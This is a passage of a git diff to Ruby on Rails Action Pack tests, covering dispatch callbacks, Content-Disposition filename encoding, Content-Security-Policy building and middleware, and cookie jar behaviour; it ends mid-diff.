diff --git a/actionpack/test/dispatch/callbacks_test.rb b/actionpack/test/dispatch/callbacks_test.rb
index 29a5dfc0adde5..6113354e226b5 100644
--- a/actionpack/test/dispatch/callbacks_test.rb
+++ b/actionpack/test/dispatch/callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class DispatcherTest < ActiveSupport::TestCase
@@ -36,10 +38,17 @@ def test_before_and_after_callbacks
   end
 
   private
-
     def dispatch(&block)
-      ActionDispatch::Callbacks.new(block || DummyApp.new).call(
-        "rack.input" => StringIO.new("")
-      )
+      app = block || DummyApp.new
+      env = Rack::MockRequest.env_for("", {})
+      wrap_in_rack_lint(ActionDispatch::Callbacks, app, env)
+    end
+
+    def wrap_in_rack_lint(klass, app, env)
+      Rack::Lint.new(
+        klass.new(
+          Rack::Lint.new(app)
+        )
+      ).call(env)
     end
 end
diff --git a/actionpack/test/dispatch/content_disposition_test.rb b/actionpack/test/dispatch/content_disposition_test.rb
new file mode 100644
index 0000000000000..6e1aae24fef95
--- /dev/null
+++ b/actionpack/test/dispatch/content_disposition_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  class ContentDispositionTest < ActiveSupport::TestCase
+    test "encoding a Latin filename" do
+      disposition = Http::ContentDisposition.new(disposition: :inline, filename: "racecar.jpg")
+
+      assert_equal %(filename="racecar.jpg"), disposition.ascii_filename
+      assert_equal "filename*=UTF-8''racecar.jpg", disposition.utf8_filename
+      assert_equal "inline; #{disposition.ascii_filename}; #{disposition.utf8_filename}", disposition.to_s
+    end
+
+    test "encoding a Latin filename with accented characters" do
+      disposition = Http::ContentDisposition.new(disposition: :inline, filename: "råcëçâr.jpg")
+
+      assert_equal %(filename="racecar.jpg"), disposition.ascii_filename
+      assert_equal "filename*=UTF-8''r%C3%A5c%C3%AB%C3%A7%C3%A2r.jpg", disposition.utf8_filename
+      assert_equal "inline; #{disposition.ascii_filename}; #{disposition.utf8_filename}", disposition.to_s
+    end
+
+    test "encoding a non-Latin filename" do
+      disposition = Http::ContentDisposition.new(disposition: :inline, filename: "автомобиль.jpg")
+
+      assert_equal %(filename="%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F.jpg"), disposition.ascii_filename
+      assert_equal "filename*=UTF-8''%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%BE%D0%B1%D0%B8%D0%BB%D1%8C.jpg", disposition.utf8_filename
+      assert_equal "inline; #{disposition.ascii_filename}; #{disposition.utf8_filename}", disposition.to_s
+    end
+
+    test "encoding a filename with permitted chars" do
+      disposition = Http::ContentDisposition.new(disposition: :inline, filename: "argh+!#$-123_|&^`~.jpg")
+
+      assert_equal %(filename="argh+!\#$-123_|%26^`~.jpg"), disposition.ascii_filename
+      assert_equal "filename*=UTF-8''argh+!\#$-123_|&^`~.jpg", disposition.utf8_filename
+      assert_equal "inline; #{disposition.ascii_filename}; #{disposition.utf8_filename}", disposition.to_s
+    end
+
+    test "without filename" do
+      disposition = Http::ContentDisposition.new(disposition: :inline, filename: nil)
+
+      assert_equal "inline", disposition.to_s
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/content_security_policy_test.rb b/actionpack/test/dispatch/content_security_policy_test.rb
new file mode 100644
index 0000000000000..2bd90e22f6617
--- /dev/null
+++ b/actionpack/test/dispatch/content_security_policy_test.rb
@@ -0,0 +1,841 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ContentSecurityPolicyTest < ActiveSupport::TestCase
+  def setup
+    @policy = ActionDispatch::ContentSecurityPolicy.new
+  end
+
+  def test_build
+    assert_equal "", @policy.build
+
+    @policy.script_src :self
+    assert_equal "script-src 'self'", @policy.build
+  end
+
+  def test_dup
+    @policy.img_src :self
+    @policy.block_all_mixed_content
+    @policy.upgrade_insecure_requests
+    @policy.sandbox
+    copied = @policy.dup
+    assert_equal copied.build, @policy.build
+  end
+
+  def test_whitespace_validation
+    @policy.base_uri "https://some.url https://other.url"
+
+    error = assert_raises(ActionDispatch::ContentSecurityPolicy::InvalidDirectiveError) do
+      @policy.build
+    end
+    assert_equal(<<~MSG.squish, error.message)
+      Invalid Content Security Policy base-uri: "https://some.url https://other.url".
+      Directive values must not contain whitespace or semicolons.
+      Please use multiple arguments or other directive methods instead.
+    MSG
+  end
+
+
+  def test_semicolon_validation
+    @policy.base_uri "https://some.url; script-src https://other.url"
+
+    error = assert_raises(ActionDispatch::ContentSecurityPolicy::InvalidDirectiveError) do
+      @policy.build
+    end
+    assert_equal(<<~MSG.squish, error.message)
+      Invalid Content Security Policy base-uri: "https://some.url; script-src https://other.url".
+      Directive values must not contain whitespace or semicolons.
+      Please use multiple arguments or other directive methods instead.
+    MSG
+  end
+
+  def test_mappings
+    @policy.script_src :data
+    assert_equal "script-src data:", @policy.build
+
+    @policy.script_src :mediastream
+    assert_equal "script-src mediastream:", @policy.build
+
+    @policy.script_src :blob
+    assert_equal "script-src blob:", @policy.build
+
+    @policy.script_src :filesystem
+    assert_equal "script-src filesystem:", @policy.build
+
+    @policy.script_src :self
+    assert_equal "script-src 'self'", @policy.build
+
+    @policy.script_src :unsafe_inline
+    assert_equal "script-src 'unsafe-inline'", @policy.build
+
+    @policy.script_src :unsafe_eval
+    assert_equal "script-src 'unsafe-eval'", @policy.build
+
+    @policy.script_src :wasm_unsafe_eval
+    assert_equal "script-src 'wasm-unsafe-eval'", @policy.build
+
+    @policy.script_src :none
+    assert_equal "script-src 'none'", @policy.build
+
+    @policy.script_src :strict_dynamic
+    assert_equal "script-src 'strict-dynamic'", @policy.build
+
+    @policy.script_src :ws
+    assert_equal "script-src ws:", @policy.build
+
+    @policy.script_src :wss
+    assert_equal "script-src wss:", @policy.build
+
+    @policy.script_src :none, :report_sample
+    assert_equal "script-src 'none' 'report-sample'", @policy.build
+
+    @policy.script_src :unsafe_hashes
+    assert_equal "script-src 'unsafe-hashes'", @policy.build
+  end
+
+  def test_fetch_directives
+    @policy.child_src :self
+    assert_match %r{child-src 'self'}, @policy.build
+
+    @policy.child_src false
+    assert_no_match %r{child-src}, @policy.build
+
+    @policy.connect_src :self
+    assert_match %r{connect-src 'self'}, @policy.build
+
+    @policy.connect_src false
+    assert_no_match %r{connect-src}, @policy.build
+
+    @policy.default_src :self
+    assert_match %r{default-src 'self'}, @policy.build
+
+    @policy.default_src false
+    assert_no_match %r{default-src}, @policy.build
+
+    @policy.font_src :self
+    assert_match %r{font-src 'self'}, @policy.build
+
+    @policy.font_src false
+    assert_no_match %r{font-src}, @policy.build
+
+    @policy.frame_src :self
+    assert_match %r{frame-src 'self'}, @policy.build
+
+    @policy.frame_src false
+    assert_no_match %r{frame-src}, @policy.build
+
+    @policy.img_src :self
+    assert_match %r{img-src 'self'}, @policy.build
+
+    @policy.img_src false
+    assert_no_match %r{img-src}, @policy.build
+
+    @policy.manifest_src :self
+    assert_match %r{manifest-src 'self'}, @policy.build
+
+    @policy.manifest_src false
+    assert_no_match %r{manifest-src}, @policy.build
+
+    @policy.media_src :self
+    assert_match %r{media-src 'self'}, @policy.build
+
+    @policy.media_src false
+    assert_no_match %r{media-src}, @policy.build
+
+    @policy.object_src :self
+    assert_match %r{object-src 'self'}, @policy.build
+
+    @policy.object_src false
+    assert_no_match %r{object-src}, @policy.build
+
+    @policy.prefetch_src :self
+    assert_match %r{prefetch-src 'self'}, @policy.build
+
+    @policy.prefetch_src false
+    assert_no_match %r{prefetch-src}, @policy.build
+
+    @policy.script_src :self
+    assert_match %r{script-src 'self'}, @policy.build
+
+    @policy.script_src false
+    assert_no_match %r{script-src}, @policy.build
+
+    @policy.script_src_attr :self
+    assert_match %r{script-src-attr 'self'}, @policy.build
+
+    @policy.script_src_attr false
+    assert_no_match %r{script-src-attr}, @policy.build
+
+    @policy.script_src_elem :self
+    assert_match %r{script-src-elem 'self'}, @policy.build
+
+    @policy.script_src_elem false
+    assert_no_match %r{script-src-elem}, @policy.build
+
+    @policy.style_src :self
+    assert_match %r{style-src 'self'}, @policy.build
+
+    @policy.style_src false
+    assert_no_match %r{style-src}, @policy.build
+
+    @policy.style_src_attr :self
+    assert_match %r{style-src-attr 'self'}, @policy.build
+
+    @policy.style_src_attr false
+    assert_no_match %r{style-src-attr}, @policy.build
+
+    @policy.style_src_elem :self
+    assert_match %r{style-src-elem 'self'}, @policy.build
+
+    @policy.style_src_elem false
+    assert_no_match %r{style-src-elem}, @policy.build
+
+    @policy.worker_src :self
+    assert_match %r{worker-src 'self'}, @policy.build
+
+    @policy.worker_src false
+    assert_no_match %r{worker-src}, @policy.build
+  end
+
+  def test_document_directives
+    @policy.base_uri "https://example.com"
+    assert_match %r{base-uri https://example\.com}, @policy.build
+
+    @policy.plugin_types "application/x-shockwave-flash"
+    assert_match %r{plugin-types application/x-shockwave-flash}, @policy.build
+
+    @policy.sandbox
+    assert_match %r{sandbox}, @policy.build
+
+    @policy.sandbox "allow-scripts", "allow-modals"
+    assert_match %r{sandbox allow-scripts allow-modals}, @policy.build
+
+    @policy.sandbox false
+    assert_no_match %r{sandbox}, @policy.build
+  end
+
+  def test_navigation_directives
+    @policy.form_action :self
+    assert_match %r{form-action 'self'}, @policy.build
+
+    @policy.frame_ancestors :self
+    assert_match %r{frame-ancestors 'self'}, @policy.build
+  end
+
+  def test_reporting_directives
+    @policy.report_uri "/violations"
+    assert_match %r{report-uri /violations}, @policy.build
+  end
+
+  def test_other_directives
+    @policy.block_all_mixed_content
+    assert_match %r{block-all-mixed-content}, @policy.build
+
+    @policy.block_all_mixed_content false
+    assert_no_match %r{block-all-mixed-content}, @policy.build
+
+    @policy.require_sri_for :script, :style
+    assert_match %r{require-sri-for script style}, @policy.build
+
+    @policy.require_sri_for "script", "style"
+    assert_match %r{require-sri-for script style}, @policy.build
+
+    @policy.require_sri_for
+    assert_no_match %r{require-sri-for}, @policy.build
+
+    @policy.require_trusted_types_for :script
+    assert_match %r{require-trusted-types-for 'script'}, @policy.build
+
+    @policy.require_trusted_types_for
+    assert_no_match %r{require-trusted-types-for}, @policy.build
+
+    @policy.trusted_types :none
+    assert_match %r{trusted-types 'none'}, @policy.build
+
+    @policy.trusted_types "foo", "bar"
+    assert_match %r{trusted-types foo bar}, @policy.build
+
+    @policy.trusted_types "foo", "bar", :allow_duplicates
+    assert_match %r{trusted-types foo bar 'allow-duplicates'}, @policy.build
+
+    @policy.trusted_types
+    assert_no_match %r{trusted-types}, @policy.build
+
+    @policy.upgrade_insecure_requests
+    assert_match %r{upgrade-insecure-requests}, @policy.build
+
+    @policy.upgrade_insecure_requests false
+    assert_no_match %r{upgrade-insecure-requests}, @policy.build
+  end
+
+  def test_hash_sources
+    @policy.script_src "sha256-hash", "sha384-hash", "sha512-hash", "invalid-hash", "sha256hash"
+    assert_equal "script-src 'sha256-hash' 'sha384-hash' 'sha512-hash' invalid-hash sha256hash", @policy.build
+  end
+
+  def test_multiple_sources
+    @policy.script_src :self, :https
+    assert_equal "script-src 'self' https:", @policy.build
+  end
+
+  def test_multiple_directives
+    @policy.script_src :self, :https
+    @policy.style_src :self, :https
+    assert_equal "script-src 'self' https:; style-src 'self' https:", @policy.build
+  end
+
+  def test_dynamic_directives
+    request = ActionDispatch::Request.new("HTTP_HOST" => "www.example.com")
+    controller = Struct.new(:request).new(request)
+
+    @policy.script_src -> { request.host }
+    assert_equal "script-src www.example.com", @policy.build(controller)
+  end
+
+  def test_multiple_and_dynamic_directives
+    request = ActionDispatch::Request.new("HTTP_HOST" => "www.example.com")
+    controller = Struct.new(:request).new(request)
+
+    @policy.frame_ancestors -> { [:self, "https://example.com"] }
+    assert_equal "frame-ancestors 'self' https://example.com", @policy.build(controller)
+  end
+
+  def test_mixed_static_and_dynamic_directives
+    @policy.script_src :self, -> { "foo.com" }, "bar.com"
+    request = ActionDispatch::Request.new({})
+    controller = Struct.new(:request).new(request)
+    assert_equal "script-src 'self' foo.com bar.com", @policy.build(controller)
+  end
+
+  def test_invalid_directive_source
+    exception = assert_raises(ArgumentError) do
+      @policy.script_src [:self]
+    end
+
+    assert_equal "Invalid content security policy source: [:self]", exception.message
+  end
+
+  def test_missing_context_for_dynamic_source
+    @policy.script_src -> { request.host }
+
+    exception = assert_raises(RuntimeError) do
+      @policy.build
+    end
+
+    assert_match %r{\AMissing context for the dynamic content security policy source:}, exception.message
+  end
+
+  def test_raises_runtime_error_when_unexpected_source
+    @policy.plugin_types [:flash]
+
+    exception = assert_raises(RuntimeError) do
+      @policy.build
+    end
+
+    assert_match %r{\AUnexpected content security policy source:}, exception.message
+  end
+end
+
+class ContentSecurityPolicyMiddlewareTest < ActiveSupport::TestCase
+  def setup
+    @env = Rack::MockRequest.env_for("", {})
+    @env["action_dispatch.content_security_policy"] = ActionDispatch::ContentSecurityPolicy.new do |p|
+      p.default_src -> { :self  }
+    end
+    @env["action_dispatch.content_security_policy_nonce_generator"] = proc { "iyhD0Yc0W+c=" }
+    @env["action_dispatch.content_security_policy_report_only"] = false
+    @env["action_dispatch.show_exceptions"] = :none
+
+    @default_csp = "default-src 'self' https: http:"
+  end
+
+  def test_rack_lint
+    app = proc { [200, {}, []] }
+
+    assert_nothing_raised do
+      Rack::Lint.new(
+        ActionDispatch::ContentSecurityPolicy::Middleware.new(
+          Rack::Lint.new(app)
+        )
+      ).call(@env)
+    end
+  end
+
+  def test_does_not_override_app_content_security_policy
+    app = proc { [200, { ActionDispatch::Constants::CONTENT_SECURITY_POLICY => @default_csp }, []] }
+    _, headers, _ = Rack::Lint.new(
+      ActionDispatch::ContentSecurityPolicy::Middleware.new(Rack::Lint.new(app))
+    ).call(@env)
+
+    assert_equal @default_csp, headers[ActionDispatch::Constants::CONTENT_SECURITY_POLICY]
+  end
+
+  def test_does_not_override_app_content_security_policy_report_only
+    app = proc { [200, { ActionDispatch::Constants::CONTENT_SECURITY_POLICY_REPORT_ONLY => @default_csp }, []] }
+    @env["action_dispatch.content_security_policy_report_only"] = true
+    _, headers, _ = Rack::Lint.new(
+      ActionDispatch::ContentSecurityPolicy::Middleware.new(Rack::Lint.new(app))
+    ).call(@env)
+
+    assert_equal @default_csp, headers[ActionDispatch::Constants::CONTENT_SECURITY_POLICY_REPORT_ONLY]
+  end
+end
+
+class DefaultContentSecurityPolicyIntegrationTest < ActionDispatch::IntegrationTest
+  class PolicyController < ActionController::Base
+    def index
+      head :ok
+    end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "default_content_security_policy_integration_test" do
+      get "/", to: "policy#index"
+      get "/redirect", to: redirect("/")
+    end
+  end
+
+  POLICY = ActionDispatch::ContentSecurityPolicy.new do |p|
+    p.default_src -> { :self  }
+    p.script_src  -> { :https }
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.content_security_policy"] = POLICY
+      env["action_dispatch.content_security_policy_nonce_generator"] = proc { "iyhD0Yc0W+c=" }
+      env["action_dispatch.content_security_policy_report_only"] = false
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use Rack::Lint
+    middleware.use PolicyConfigMiddleware
+    middleware.use ActionDispatch::ContentSecurityPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_adds_nonce_to_script_src_content_security_policy_only_once
+    get "/"
+    get "/"
+    assert_response :success
+    assert_policy "default-src 'self'; script-src https: 'nonce-iyhD0Yc0W+c='"
+  end
+
+  def test_redirect_works_with_dynamic_sources
+    get "/redirect"
+    assert_response :redirect
+    assert_policy "default-src 'self'; script-src https: 'nonce-iyhD0Yc0W+c='"
+  end
+
+  private
+    def assert_policy(expected, report_only: false)
+      if report_only
+        expected_header = "Content-Security-Policy-Report-Only"
+        unexpected_header = "Content-Security-Policy"
+      else
+        expected_header = "Content-Security-Policy"
+        unexpected_header = "Content-Security-Policy-Report-Only"
+      end
+
+      assert_nil response.headers[unexpected_header]
+      assert_equal expected, response.headers[expected_header]
+    end
+end
+
+class ContentSecurityPolicyIntegrationTest < ActionDispatch::IntegrationTest
+  class PolicyController < ActionController::Base
+    content_security_policy only: :inline do |p|
+      p.default_src "https://example.com"
+    end
+
+    content_security_policy only: :conditional, if: :condition? do |p|
+      p.default_src "https://true.example.com"
+    end
+
+    content_security_policy only: :conditional, unless: :condition? do |p|
+      p.default_src "https://false.example.com"
+    end
+
+    content_security_policy only: :report_only do |p|
+      p.report_uri "/violations"
+    end
+
+    content_security_policy only: :script_src do |p|
+      p.default_src false
+      p.script_src :self
+    end
+
+    content_security_policy only: :style_src do |p|
+      p.default_src false
+      p.style_src :self
+    end
+
+    content_security_policy(false, only: :no_policy)
+
+    content_security_policy_report_only only: :report_only
+
+    content_security_policy only: :api do |p|
+      p.default_src :none
+      p.frame_ancestors :none
+    end
+
+    def index
+      head :ok
+    end
+
+    def inline
+      head :ok
+    end
+
+    def conditional
+      head :ok
+    end
+
+    def report_only
+      head :ok
+    end
+
+    def script_src
+      head :ok
+    end
+
+    def style_src
+      head :ok
+    end
+
+    def no_policy
+      head :ok
+    end
+
+    def api
+      render json: {}
+    end
+
+    def not_modified
+      head :not_modified
+    end
+
+    private
+      def condition?
+        params[:condition] == "true"
+      end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "content_security_policy_integration_test" do
+      get "/", to: "policy#index"
+      get "/inline", to: "policy#inline"
+      get "/conditional", to: "policy#conditional"
+      get "/report-only", to: "policy#report_only"
+      get "/script-src", to: "policy#script_src"
+      get "/style-src", to: "policy#style_src"
+      get "/no-policy", to: "policy#no_policy"
+      get "/api", to: "policy#api"
+      get "/not-modified", to: "policy#not_modified"
+    end
+  end
+
+  POLICY = ActionDispatch::ContentSecurityPolicy.new do |p|
+    p.default_src :self
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.content_security_policy"] = POLICY
+      env["action_dispatch.content_security_policy_nonce_generator"] = proc { "iyhD0Yc0W+c=" }
+      env["action_dispatch.content_security_policy_report_only"] = false
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use Rack::Lint
+    middleware.use PolicyConfigMiddleware
+    middleware.use ActionDispatch::ContentSecurityPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_generates_content_security_policy_header
+    get "/"
+    assert_policy "default-src 'self'"
+  end
+
+  def test_generates_inline_content_security_policy
+    get "/inline"
+    assert_policy "default-src https://example.com"
+  end
+
+  def test_generates_conditional_content_security_policy
+    get "/conditional", params: { condition: "true" }
+    assert_policy "default-src https://true.example.com"
+
+    get "/conditional", params: { condition: "false" }
+    assert_policy "default-src https://false.example.com"
+  end
+
+  def test_generates_report_only_content_security_policy
+    get "/report-only"
+    assert_policy "default-src 'self'; report-uri /violations", report_only: true
+  end
+
+  def test_adds_nonce_to_script_src_content_security_policy
+    get "/script-src"
+    assert_policy "script-src 'self' 'nonce-iyhD0Yc0W+c='"
+  end
+
+  def test_adds_nonce_to_style_src_content_security_policy
+    get "/style-src"
+    assert_policy "style-src 'self' 'nonce-iyhD0Yc0W+c='"
+  end
+
+  def test_generates_no_content_security_policy
+    get "/no-policy"
+
+    assert_nil response.headers["Content-Security-Policy"]
+    assert_nil response.headers["Content-Security-Policy-Report-Only"]
+  end
+
+  def test_generates_api_security_policy
+    get "/api"
+    assert_policy "default-src 'none'; frame-ancestors 'none'"
+  end
+
+  def test_generates_no_content_security_policy_for_not_modified
+    get "/not-modified"
+
+    assert_nil response.headers["Content-Security-Policy"]
+    assert_nil response.headers["Content-Security-Policy-Report-Only"]
+  end
+
+  private
+    def assert_policy(expected, report_only: false)
+      assert_response :success
+
+      if report_only
+        expected_header = "Content-Security-Policy-Report-Only"
+        unexpected_header = "Content-Security-Policy"
+      else
+        expected_header = "Content-Security-Policy"
+        unexpected_header = "Content-Security-Policy-Report-Only"
+      end
+
+      assert_nil response.headers[unexpected_header]
+      assert_equal expected, response.headers[expected_header]
+    end
+end
+
+class DisabledContentSecurityPolicyIntegrationTest < ActionDispatch::IntegrationTest
+  class PolicyController < ActionController::Base
+    content_security_policy only: :inline do |p|
+      p.default_src "https://example.com"
+    end
+
+    def index
+      head :ok
+    end
+
+    def inline
+      head :ok
+    end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "disabled_content_security_policy_integration_test" do
+      get "/", to: "policy#index"
+      get "/inline", to: "policy#inline"
+    end
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.content_security_policy"] = nil
+      env["action_dispatch.content_security_policy_nonce_generator"] = nil
+      env["action_dispatch.content_security_policy_report_only"] = false
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use Rack::Lint
+    middleware.use PolicyConfigMiddleware
+    middleware.use ActionDispatch::ContentSecurityPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_generates_no_content_security_policy_by_default
+    get "/"
+    assert_nil response.headers["Content-Security-Policy"]
+  end
+
+  def test_generates_content_security_policy_header_when_globally_disabled
+    get "/inline"
+    assert_equal "default-src https://example.com", response.headers["Content-Security-Policy"]
+  end
+end
+
+class NonceDirectiveContentSecurityPolicyIntegrationTest < ActionDispatch::IntegrationTest
+  class PolicyController < ActionController::Base
+    def index
+      head :ok
+    end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "nonce_directive_content_security_policy_integration_test" do
+      get "/", to: "policy#index"
+    end
+  end
+
+  POLICY = ActionDispatch::ContentSecurityPolicy.new do |p|
+    p.default_src -> { :self  }
+    p.script_src -> { :https }
+    p.style_src -> { :https }
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.content_security_policy"] = POLICY
+      env["action_dispatch.content_security_policy_nonce_generator"] = proc { "iyhD0Yc0W+c=" }
+      env["action_dispatch.content_security_policy_report_only"] = false
+      env["action_dispatch.content_security_policy_nonce_directives"] = %w(script-src)
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use Rack::Lint
+    middleware.use PolicyConfigMiddleware
+    middleware.use ActionDispatch::ContentSecurityPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_generate_nonce_only_specified_in_nonce_directives
+    get "/"
+
+    assert_response :success
+    assert_match "script-src https: 'nonce-iyhD0Yc0W+c='", response.headers["Content-Security-Policy"]
+    assert_no_match "style-src https: 'nonce-iyhD0Yc0W+c='", response.headers["Content-Security-Policy"]
+  end
+end
+
+class HelpersContentSecurityPolicyIntegrationTest < ActionDispatch::IntegrationTest
+  module ApplicationHelper
+    def pigs_can_fly?
+      false
+    end
+  end
+
+  class ApplicationController < ActionController::Base
+    helper_method :sky_is_blue?
+    def sky_is_blue?
+      true
+    end
+  end
+
+  class PolicyController < ApplicationController
+    content_security_policy do |p|
+      p.default_src "https://example.com"
+      p.script_src "https://example.com" if helpers.sky_is_blue?
+      p.style_src "https://example.com" unless helpers.pigs_can_fly?
+    end
+
+    def index
+      head :ok
+    end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "helpers_content_security_policy_integration_test" do
+      get "/", to: "policy#index"
+    end
+  end
+
+  POLICY = ActionDispatch::ContentSecurityPolicy.new do |p|
+    p.default_src -> { :self  }
+    p.script_src -> { :https }
+    p.style_src -> { :https }
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.content_security_policy"] = POLICY
+      env["action_dispatch.content_security_policy_nonce_generator"] = proc { "iyhD0Yc0W+c=" }
+      env["action_dispatch.content_security_policy_report_only"] = false
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use Rack::Lint
+    middleware.use PolicyConfigMiddleware
+    middleware.use ActionDispatch::ContentSecurityPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_can_call_helper_methods_in_csp
+    get "/"
+
+    assert_response :success
+    assert_match "default-src https://example.com", response.headers["Content-Security-Policy"]
+    assert_match "script-src https://example.com", response.headers["Content-Security-Policy"]
+    assert_match "style-src https://example.com", response.headers["Content-Security-Policy"]
+  end
+end
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index 664faa31bbc50..80bd31b17cc6c 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "openssl"
 require "active_support/key_generator"
-require "active_support/message_verifier"
+require "active_support/messages/rotation_configuration"
 
 class CookieJarTest < ActiveSupport::TestCase
   attr_reader :request
@@ -34,6 +36,12 @@ def test_key_is_to_s
     assert_equal "bar", request.cookie_jar.fetch(:foo)
   end
 
+  def test_to_hash
+    request.cookie_jar["foo"] = "bar"
+    assert_equal({ "foo" => "bar" }, request.cookie_jar.to_hash)
+    assert_equal({ "foo" => "bar" }, request.cookie_jar.to_h)
+  end
+
   def test_fetch_type_error
     assert_raises(KeyError) do
       request.cookie_jar.fetch(:omglolwut)
@@ -57,8 +65,8 @@ def test_enumerable
   end
 
   def test_key_methods
-    assert !request.cookie_jar.key?(:foo)
-    assert !request.cookie_jar.has_key?("foo")
+    assert_not request.cookie_jar.key?(:foo)
+    assert_not request.cookie_jar.has_key?("foo")
 
     request.cookie_jar[:foo] = :bar
     assert request.cookie_jar.key?(:foo)
@@ -72,7 +80,25 @@ def test_write_doesnt_set_a_nil_header
   end
 end
 
+class CookiesMiddlewareTest < ActiveSupport::TestCase
+  def test_sets_expected_cookie_header
+    request = ActionDispatch::Request.empty
+    request.cookie_jar[:foo] = "bar"
+    env = Rack::MockRequest.env_for("", request.env)
+
+    _status, headers, _body = Rack::Lint.new(
+      ActionDispatch::Cookies.new(
+        Rack::Lint.new(lambda { |_env| [ 200, {}, [] ] })
+      )
+    ).call(env)
+
+    assert_equal "foo=bar; path=/", headers["set-cookie"]
+  end
+end
+
 class CookiesTest < ActionController::TestCase
+  include CookieAssertions
+
   class CustomSerializer
     def self.load(value)
       value.to_s + " and loaded"
@@ -89,11 +115,6 @@ def authenticate
       head :ok
     end
 
-    def set_with_with_escapable_characters
-      cookies["that & guy"] = "foo & bar => baz"
-      head :ok
-    end
-
     def authenticate_for_fourteen_days
       cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10, 5) }
       head :ok
@@ -115,6 +136,11 @@ def access_frozen_cookies
       head :ok
     end
 
+    def set_cookie_if_not_present
+      cookies["user_name"] = "alice" unless cookies["user_name"].present?
+      head :ok
+    end
+
     def logout
       cookies.delete("user_name")
       head :ok
@@ -219,6 +245,16 @@ def set_cookie_with_domain_all_as_string
       head :ok
     end
 
+    def set_cookie_with_domain_proc
+      cookies[:user_name] = { value: "braindeaf", domain: proc { ".sub.www.nextangle.com" } }
+      head :ok
+    end
+
+    def set_cookie_with_domain_proc_with_request
+      cookies[:user_name] = { value: "braindeaf", domain: proc { |req| ".sub.#{req.host}" } }
+      head :ok
+    end
+
     def delete_cookie_with_domain
       cookies.delete(:user_name, domain: :all)
       head :ok
@@ -234,6 +270,11 @@ def set_cookie_with_domain_and_tld
       head :ok
     end
 
+    def set_cookie_with_domain_and_longer_tld
+      cookies[:user_name] = { value: "rizwanreza", domain: :all, tld_length: 4 }
+      head :ok
+    end
+
     def delete_cookie_with_domain_and_tld
       cookies.delete(:user_name, domain: :all, tld_length: 2)
       head :ok
@@ -276,34 +317,169 @@ def noop
     def encrypted_cookie
       cookies.encrypted["foo"]
     end
+
+    def cookie_expires_in_two_hours
+      cookies[:user_name] = { value: "assain", expires: 2.hours }
+      head :ok
+    end
+
+    def encrypted_discount_and_user_id_cookie
+      cookies.encrypted[:user_id] = { value: 50, expires: 1.hour }
+      cookies.encrypted[:discount_percentage] = 10
+
+      head :ok
+    end
+
+    def signed_discount_and_user_id_cookie
+      cookies.signed[:user_id] = { value: 50, expires: 1.hour }
+      cookies.signed[:discount_percentage] = 10
+
+      head :ok
+    end
+
+    def rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_on
+      # cookies.encrypted[:favorite] = { value: "5-2-Stable Chocolate Cookies", expires: 1000.years }
+      cookies[:favorite] = "KvH5lIHvX5vPQkLIK63r/NuIMwzWky8M0Zwk8SZ6DwUv8+srf36geR4nWq5KmhsZIYXA8NRdCZYIfxMKJsOFlz77Gf+Fq8vBBCWJTp95rx39A28TCUTJEyMhCNJO5eie7Skef76Qt5Jo/SCnIADAhzyGQkGBopKRcA==--qXZZFWGbCy6N8AGy--WswoH+xHrNh9MzSXDpB2fA=="
+
+      head :ok
+    end
+
+    def rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_off
